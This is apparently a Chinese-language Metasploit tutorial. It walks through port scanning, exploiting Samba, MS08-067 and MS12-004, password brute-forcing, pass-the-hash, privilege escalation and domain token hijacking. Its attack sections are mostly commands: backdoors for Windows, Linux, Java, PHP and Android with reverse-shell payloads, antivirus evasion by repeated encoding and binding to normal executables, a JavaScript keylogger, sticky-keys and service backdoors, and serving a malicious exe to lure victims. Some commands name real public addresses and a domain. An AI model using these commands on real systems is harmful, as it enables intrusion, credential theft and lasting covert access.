metasploit是一款开源的渗透测试框架也是一个逐步发展与成熟的漏洞研究与渗透代码开发平台
**metasploit体系如下:**
![](https://upload-images.jianshu.io/upload_images/8236373-0f9043b2f9685adf.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/700)
> 基础库文件(Libraris):提供了核心框架和一些基础功能的支持
> 模块(Modules):实现渗透测试功能的主体代码
> 插件(Plugins):将外部的集成工具集成到框架中
> 用户接口(Interface)和功能程序(Utilities):集成模块与插件的渗透测试功能
**1.基础库文件**
位于源码根目录下的libraries目录中。
Rex:基础组件网络套接字,网络应用协议客户端与服务端实现、日志子系统、渗透攻击例程、数据库支持
core负责实现与各种类型的上层模块及插件的交互接口
base库扩展了core,提供更简单的包装例程支持用户接口与功能程序调用框架功能及集成模块
**2.模块**
辅助模块(Aux):网络服务的扫描查点、口令猜解、敏感信息嗅探、Fuzz测试发掘漏洞、网络协议欺骗
> 渗透攻击模块(Exploits)
> 后渗透攻击模块(Post)
> 攻击载荷模块(Payloads)
> 空指令模块(Nops)
> 编码器模块(Encoders)
**3.插件**
将Nmap、Neuss等功能集成到metasploit中
**4.接口**
> msfconsle控制台终端
> msfcli命令行
> msfgui图形化界面
> armitage图形化界面
> msfapi远程调用接口
**5.功能程序**
一系列可以直接运行的程序功能,支持安全研究员快速的利用Metasploit框架内部能力完成一些特定功能
**console的使用**
service postgresql start //先连接数据库
msfconsole //打开框架
msf>help //显示msf所支持的命令列表
msf>help search //显示关于search参数的命令和使用
**实例入侵metasploitable靶机**
1.search samba搜索模块
2.use multi/samba/usermap_script 使用模块
3.show payloads查看可用的载荷
4.set payload cmd/unix/bind_netcat 使用载荷
5.show options 选择载荷可用选项
6.set RHOST 192.168.0.94 设置载荷的攻击目标IP
7.exploit执行渗透攻击
然后攻击成功会建立一个会话,返回一个可交互的shell
这就是使用metasploit渗透的一个常规流程
**靶机环境:**
1.OWASP DVWA
2.Linux metasploitable https://sourceforge.net/projects...es/Metasploitable2/
[metasploit使用ms12-020使03服务器蓝屏(视屏)](https://v.qq.com/x/page/j0327t58yw6.html)
**网络服务渗透攻击面**
Windows平台根据网络服务攻击面的类别来分,可分为三大类
**1.针对Windows系统自带网络服务的渗透攻击**
NetBios:UDP137、138、TCP139,MS03-034
SMB(服务器消息快):TCP445、NBT间接用TCP139接收数据,MS10-012、MS10-054 MSRPC(微软远程过程调用):TCP139、445,MS05-039、MS09-026、
MS08-067 RDP(远程桌面):TCP3389,MS12-020
**2.针对Windows系统上微软网络服务的渗透攻击**
IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-029
**3.针对Windows系统上第三方网络服务的渗透攻击**
Apache Tomcat MYSQL 用Exploit利器mona.py绕过Windows 7下的DEP+ASLR安全组合。 经典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020
**如何使用攻击载荷模块**
**1.查看载荷信息**
info windows/exec //假设要查看这个载荷的信息
**2.管理攻击载荷模块的**
Shellcode msfpayload windows/exec CMD=dir C //导出成C语言数组的完整Shellcode。
**3.查看Shellcode汇编代码**
msfpayload windows/exec CMD=dir R | ndisasm -u
**升级和更新**
获取新的攻击代码。
进入框架目录更新
cd /usr/share/metasploit-framework/./msfupdate
**端口扫描**
**一、调用nmap扫描**
开启msfconsole后,直接nmap -v -sV 101.200.44.127
**二、MSF扫描模块--use auxiliary/scanner/portscan/syn**
search portscan //搜索端口扫描模块
use auxiliary/scanner/portscan/syn //使用syn扫描模块
show options //显示模块可操作选项
set .... //设置具体选项
run //开始扫描,运行
**SMB扫描获取系统信息**
use auxiliary/scanner/smb/smb_version
show optionsset RHOSTS 192.168.1-200
//可以设置单个IP或者范围set THREADS 10 //设置线程
**服务识别**
SSH
use auxiliary/scanner/ssh/ssh_version
show optionsset RHOSTS 192.168.0.10
//设置多个ip 192.168.0.11 192.168.0.55run
FTP
use auxiliary/scanner/ftp/ftp_versionset RHOSTS *run
密码嗅探
use auxiliary/sniffer/psnufflerun //可以嗅探FTP
**SNMP扫描与枚举**
search SNMP
use auxiliary/scanner/snmp/snmp_login
show options
set RHOSTS *
枚举
use auxiliary/scanner/snmp/snmp_enumset RHOST *
set THREADS 10
run
SMB登录验证
use auxiliary/scanner/smb/smb_lo
show options
set RHOSTS *
set SMBuser administrator
set THREADS 10
run
VNC身份认证
use auxiliary/scanner/vnc/vnc_none_auth
show options
set RHOSTS *
set THREADS 50
run
WMAP(轻量级测试工具,检测常见的Web漏洞)
service postgresql start //先启动数据库
msfconsole //再启动msf
db_status //msf下输入,查看数据库状态 msfdb init可以初始化数据库
load wmap //载入wmap
wmap_targets -h //查看帮助
wmap_sites -a http://www.51xkx.cn //添加URL
wmap_sites -l //查看配置的URL
wmap_targets -t http://121.42.88.105 //添加url对应的IP
wmap_targets -l //查看是否写入成功
wmap_run -h //查看运行选项
wmap_run -t //选择运行方式,加载
wmap_run -e //开始测试
wmap_vulns -l //扫描完成后查看结果
**远程代码执行**
search 08-067 (Win 2003、xp)
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST *
show payloads //查看可用攻击载荷
set payload windows/meterpreter/reverse_tcp
show optionsset LHOST * // 设置本机IP,如果是攻击外网,本身必须是外网ip
info 或者show targets //查看系统版本信息
set target 17 //设置目标版本信息 (只有08-067不能自动识别版本号,其他的可以自动获取)
show options //检查设置
exploit //开始攻击
shell //获取目标cmd-shell
MIDI文件解析远程代码执行
影响范围win2003、winxp、win7
search 12-004
use exploit /windows/browser/ms12_004_midi
show options
set SRVHOST * //设置本机IP
set URIPATH / //把网址后缀改成'/'
exploit //start exploit
sessions //查看会话
sessions -i 1 //连接会话
shell //连接shell
口令安全
search mysql_login //搜索mysql登录破解利用模块,ssh等可以登陆的也行
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 127.0.0.1*
set USERNAME root
set PASS_FILE /root/1.txt
set THREADS 50
exploit
**Hash值传递渗透**
1.在不知道密码的情况下
获得meterprete后
meterpreter>hashdumpset smbpass 获取到的hash值
2.在知道密码的情况下
直接登录就行
**NDProxy内核提权**
获取meterpreter情况下,权限小,用这个洞来提升权限
search 14-002
use exploit/windows/local/ms_ndproxy
show options
set session 1 //选择会话
exploit
getuid //查看当前权限
getsystem //这个命令也可以用来提取
**多种后门生成**
metasploit可以生成多钟后门
windows
Linux msfpayload linux/x86/shell_reverse_tcp LHOST=* LPORT=* x>linux
Java msfpayload java/meterpreter/reverse_tvp LHOST=* LPORT=* w>123.jar
php
(msfpayload php/meterpreter/reverse_tcp LHOST=* LPORT=* R | msfencode -e php/base64 -t raw -o 123.php)
asp
aspx
Android
msfpayload android/meterpreter/reverse_tcp LHOST=* LPORT=* R >1.apk
完整过程
msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=1234 x >123.exe
//生成windows后门攻击载荷
ls //查看生成后门所在当前文件夹在
msf监听
search handler
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
set LHOST *
set LPORT 1234
exploit
目标运行后门后,会反弹shell
**内网渗透**
获得shell之后需要对C段进行一次扫描
meterpreter>run get_local_subnets //获取网卡
run autoroute -s 192.168.48.0/24 //扫描整个C段
在shell中执行,net view 查看域
若有域控在meterpreter劫持它的域管理
use incognito //调用模块
list_tokens -u //查看它都有什么域
impersonate_token 域管理
shell //获得域管理的shell
如果没有域管理
use auxiliary/sniffer/psnufflerun //嗅探登录密码 FTP
免杀payload
免杀例子
加壳、改壳、花指令、源码免杀、改特征码
首先还是先生成一个后门
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86
/shikata_ga_nai -t exe >123.exe
//可以多种编码效果更好
msfencode -l //查看有多少可用编码
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e
x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/countdown -c 6 -t exe -o /666.exe
//多次编码
msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode
-t exe -x /root/正常.exe -o 1213.exe -e x86/shikata_ga_nai -k -c 20
//绑定正常的文件
多种编码+多次编码+绑定正常的可执行程序
**玩转不一样的XSS**
search keylogger //搜索相关模块
use ....javascript_keylogger 那个模块
show options
set DEMO true //启用官方的DEMO
set URIPATH / //伪装url
set srvport 80 //设置服务端口80
run
类似钓鱼网站,记录键盘,感觉没什么卵用
**维持访问(种植后门)**
meterpreter>run metsvc -A / /种植后门
msf>use exploit/multi/handler
set payload windows/metsvc_bind_tcp
show options
set LPORT 生成后门的端口
set RHOST *
exploit
主动连接到shell,在服务器上才行
第二种方法,键盘记录后门
meterpreter>keyscan_start //开启键盘记录
meterpreter>keyscan_dump //查看键盘记录结果
第三种shift后门
meterpreter>shell
CD C:\windows\system32
cacls sethc.exe /t /e /G Administrators:f
cacls cmd.exe /t /e /G Administrators:f
ren sethc.exe aaa.exe
ren cmd.exe sethc.exe
使用Metasploit创建反向shell
------------------------------------------------------
1.首先创建反向shell
msfvenon -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100
LPORT=4443 -f exe > cute_dolphin.exe
2.创建监听连接器
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.100 set lport 4443
set ExitOnSession false
set AutorunScript post/windows/manage/smart_migrate
exploit -j -z
3.kali已经准备就绪,启动Apache程序 service apache2 start
4.然后将恶意文件复制到Web服务器文件夹内
cp cute_dolphin.exe /var/www/html/
5.引诱受害者访问我们的陷阱
http://192.168.0.100/cute_dolphine.exe
6.查看活动连接 sessions
7.如果打算和会话交互,可以使用-i选项
sessions -i 1
8.我们会看到meterpreter连接
可以查看被入侵的系统信息 sysinfo
或者执行系统shell shell